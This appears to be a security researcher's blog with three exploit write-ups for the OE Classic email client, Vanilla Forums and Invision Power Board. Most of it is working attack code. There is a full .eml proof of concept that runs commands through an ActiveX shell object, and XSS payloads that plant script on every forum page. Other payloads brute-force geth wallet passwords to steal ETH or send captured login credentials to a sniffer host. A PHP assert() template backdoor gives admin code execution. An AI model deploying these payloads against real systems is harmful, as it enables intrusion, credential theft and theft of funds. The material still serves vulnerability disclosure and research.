вторник, 16 апреля 2019 г.

OE Classic <= 2.8.0 RCE via stored XSS

OE Classic - Popular desktop email client based on old Internet Explorer. I think it's just luck that I can find that XSS and turn it to RCE because technicues that i use is very old, and i doesnt research it in past.


Vulnerability #1
Type: Cross Site Scripting
Severity: high (because used origin file:// and attacker can read files via javascript/vbscript)
Description: Application use IE for render HTML and havent good sanitization.
Example:
<BODY BACKGROUND="javascript:document.body.innerHTML='<textarea id=x>prompt(1,location);</textarea><button onclick=eval(document.getElementById(\'x\').innerHTML)>run</button>';">body</BODY>

Vulnerability #2
Type: Autodownloading attachments and email in same directory
Severity: high (because attacker can run any file via relative path)
Description: when victim user read email, content of it and all attachments downloads to this folder: C:\Users\%UserName%\AppData\Local\OEClassic\Prg\T\1-%number%\

Vulnerability #3
Type: Old IE for rendering without ActiveX security restrictions
Severity: high (because attacker can use arbitrary ActiveX object)
Description: Old IE can use arbitrary ActiveX object. This functionality leads to RCE (Examples: https://www.exploit-db.com/exploits/11229, http://www.guninski.com/wmp-desc.html)

Full proof of concept (.eml file):

Subject: calc
From: test@gmail.com
To: test@yahoo.com
Content-Type: multipart/alternative; boundary=bcaec520ea5d6918e204a8cea3b4

--bcaec520ea5d6918e204a8cea3b4
Content-Type: text/html; charset=UTF-8;
Content-Transfer-Encoding: 7bit

<BODY BACKGROUND='javascript:document.body.innerHTML="\x3ciframe style=display:none src=./test.html name=test\x3e\x3c/iframe\x3e"'>BACKGROUND</BODY>


--bcaec520ea5d6918e204a8cea3b4
Content-Type: message/rfc822; charset=UTF-8; name="test.h\tml"
Content-Transfer-Encoding: 7bit

<html>
<object id='wsh'
classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<script>
wsh.Run("cmd.exe /k calc");
</script>
</html>
--bcaec520ea5d6918e204a8cea3b4

пятница, 15 февраля 2019 г.

Vanilla Forums < 2.5 Stored XSS in any message and ETH takeover exploit via forum.ethereum.org

Intro:

One year ago i found chain of vulnerabilities that allows me to steal ETH from local wallets of forum.ethereum.org customers.

Vulnerability #1
Type: Misconfiguration
Severity: medium
Description: go-ethereum node (geth) allows user to configure its JSON RPC with CORS header that allows cross-site requests from any site.
For example this settings recommendations can be found here:
http://www.oss.io/p/dob/auctionhouse 
http://blockchainers.org/index.php/2016/02/29/entering-the-world-computer/ 
https://www.npmjs.com/package/solarchain-dashboard 
https://forum.ark.io/topic/410/set-up-guide-ark-aces-node-del
Example 1:
geth --rpccorsdomain "*"
Example 2:
geth --wsorigins="*"


Vulnerability #2
Type: Cross Site Scripting
Severity: high (because when admin logged in on forum - he logged in on admin panel)
Requires: Attacker need to be authenticated on forum and have privileges to send PM.
Description: https://forum.ethereum.org/ - board powered by open source application Vanilla. That application use plugin HTMLawed to filter HTML in messages. Vulnerability is the violation of regular expression logic when using CDATA section, this violation allows remote attacker to inject arbitrary JavaScript code into any message on forum.
Screenshot:


Vulnerability #3
Type: Cross Site Scripting
Requires: Attacker need to be authenticated on forum and have Admin privileges.
Severity: low
Description: Administrator can edit forums banner on page %vanilla%/dashboard/settings/banner, the field named "Banner Title" reflects on all pages on forum and don’t filtering special character, that allows inject arbitrary HTML/JavaScript code

XSS Vector:

<div><![CDATA[ ><img src=s onerror=parentElement.innerHTML='';document.body.appendChild(document.createElement('script')).src='data:,alert(1)'> ]]></div>

XSS Payload #1: (inject script with payload #2 to all forums pages)

fr = document.createElement('iframe');
fr.name = 'fr';
fr.style.display = 'none';
fr.src = 'dashboard/settings/banner';
fr.onload = function(){
 fr.onload = '';
 frd = frames.fr.contentDocument;
 frd.getElementById('Form_Garden-dot-Title').value += '<script src="data:,alert(1)"></script>';
 frd.getElementById('Form_Save').click();
}
document.documentElement.appendChild(fr);

XSS Payload #2: (try to access to misconfigured geth and steal money)

var dbg = 0;
var passwords = ['qwe','qwe123','123qwe','qwerty','123456','1q2w3e','1qaz2wsx','123'];
var wallets = web3.eth.accounts;

function getCookie(name) {
 var matches = document.cookie.match(new RegExp("(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"));
 return matches ? decodeURIComponent(matches[1]) : undefined;
}

function Spoof(){

 for(var i = 0; i < wallets.length; i++){
   if(web3.fromWei(web3.eth.getBalance(wallets[i]), "ether").c[0] > 0){
    checkUnlock(wallets[i]);
   }
 }

 //document.cookie = 'spoofed=1'; //uncomment when you want to attack each user 1 time
}

if(getCookie('spoofed')!='1'){
 if(window.name != 'fr'){
   document.body.style.overflow = 'hidden';
   document.documentElement.innerHTML = '\x3ciframe  name="fr" onload="Spoof();" src="' + location + '" style="border: 0; width: ' + document.documentElement.clientWidth + 'px; height: ' + document.documentElement.clientHeight + 'px"\x3e\x3c/iframe\x3e';
   document.body.style.margin = 0;
 }
}

function bruteForce(wallet){
 if(dbg == 1){
   console.log('%c Start bruteforcing wallet ' + wallet + ' ', 'background: blue;color: white;');
 }
 for(var i = 0;i < passwords.length; i++){
   try{
    if(web3.personal.unlockAccount(wallet,passwords[i]) == true){
     if(dbg == 1){
     console.log('%c Wallet ' + wallet + ' unlocked with password ' + passwords[i] + ' ' , 'background: red;color: white;');
     console.log('%c Balance is ' + web3.fromWei(web3.eth.getBalance(wallet), "ether").c[0] + ' eth ', 'background: red;color: white;');
     }
    }
   }catch(e){
    if(e.toString().indexOf('could not decrypt key with given passphrase') > 0){
     if(dbg == 1){
     console.log('%c Password ' + passwords[i] + ' for wallet ' + wallet + ' is not valid ', 'background: green;color: white;');
     }
    }else{
    }
   }
 }
 return false
}

function checkUnlock(wallet){
 if(dbg == 1){
   console.log('%c Checking wallet ' + wallet + ' for unlocking ', 'background: blue;color: white;');
 }
 try{
  if(web3.eth.sendTransaction({from: wallet, to: wallet, value: 0})){
    if(dbg == 1){
     console.log('%c Found unlocked wallet: ' + wallet + ' ', 'background: red;color: white;');
     console.log('%c Balance is ' + web3.fromWei(web3.eth.getBalance(wallet), "ether").c[0] + ' eth ', 'background: red;color: white;');
     web3.personal.lockAccount(wallet)
    }
   }
 }catch(e){
   if(e.toString().indexOf('authentication needed: password or unlock') > 0){
    if(dbg == 1){
     console.log('%c Wallet ' + wallet + ' locked ', 'background: green;color: white;');
    }
    bruteForce(wallet);
   }else{
   }
 }
 return false
}

Video demo:



Vendor respose:

Hi, 

Thanks for getting in touch. We do not consider any of the reported vulnerabilities as eligible for a bounty. 

Vulnerability 1) This is a configuration setting, which is not enabled by default. 
Vulnerability 2 & 3) This is on our forum, which is out of scope for our bug-bounty. 

The rules for our bug-bounty is available at http://bounty.ethereum.org/

Cheers

P.S.

Also i could use this bug ;)
https://ret2got.wordpress.com/2018/01/19/how-your-ethereum-can-be-stolen-using-dns-rebinding/

четверг, 14 февраля 2019 г.

Invision Power Board 3.3.1 - 3.4.8 stored XSS in any message

XSS Vector:

[b][twitter]qwe'onmouseover=parentElement.innerHTML='';document.body.appendChild(document.createElement('script')).src='data:,alert(1)'// style=opacity:0;position:fixed;left:0;top:0;width:5000px;height:5000px [member="%username_that_exists%"]qwe[/twitter][/b]
alert


XSS Payload:

sF = "https://example.com/a.php?a="; // Sniffer that wait intercepted credentials in get parameter. 

function gC(name) { // get cookie
 var matches = document.cookie.match(new RegExp("(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "\\$1") + "=([^;]*)"));
 return matches ? decodeURIComponent(matches[1]) : undefined;
}

function iP(){ // intercept passwords
 fD = window.frames.fr.contentDocument || window.frames.fr.document
 fS = fD.getElementsByTagName("form");
 for(var i = 0; i < fS.length; i++){
  if(fS[i].id == "login"){
   fS[i].onsubmit = function(){
    (new Image()).src = sF + atob("login=" + this.ips_username.value + ";password=" + this.ips_password.value);
    document.cookie = "XSSED=1";
   }
  }
 }
}

function iW(){ // intercept window
 document.body.style.overflow = "hidden";
 document.documentElement.innerHTML="\x3ciframe name=fr onload=iP(); src=" + location +" style=border:0;width:" + (document.documentElement.clientWidth - 1) + "px;height:" + (document.documentElement.clientHeight - 4) + "px\x3e\x3c/iframe\x3e";
 document.body.style.margin = 0;

}

if(gC("XSSED") != "1"){
 img = new Image();
 img.src = "index.php?app=core&module=global&section=login&do=logout&k=" + ipb.vars["secure_hash"] ;
 img.setAttribute("onerror", "iW();");
 document.body.appendChild(img);
}

Admin Panel RCE:

Open URL:
/ipb/admin/index.php?app=core&module=templates§ion=templates&do=list&setID=1&adsess=9a43a6719acda5ec05cf47e14a9e6ea7
Then Board Index => boardIndexTemplate
After add next code:
<if test="isset($_POST['a'])">
${assert($_POST['a'])}
</if>
Editted template

RCE example via $_GET['a']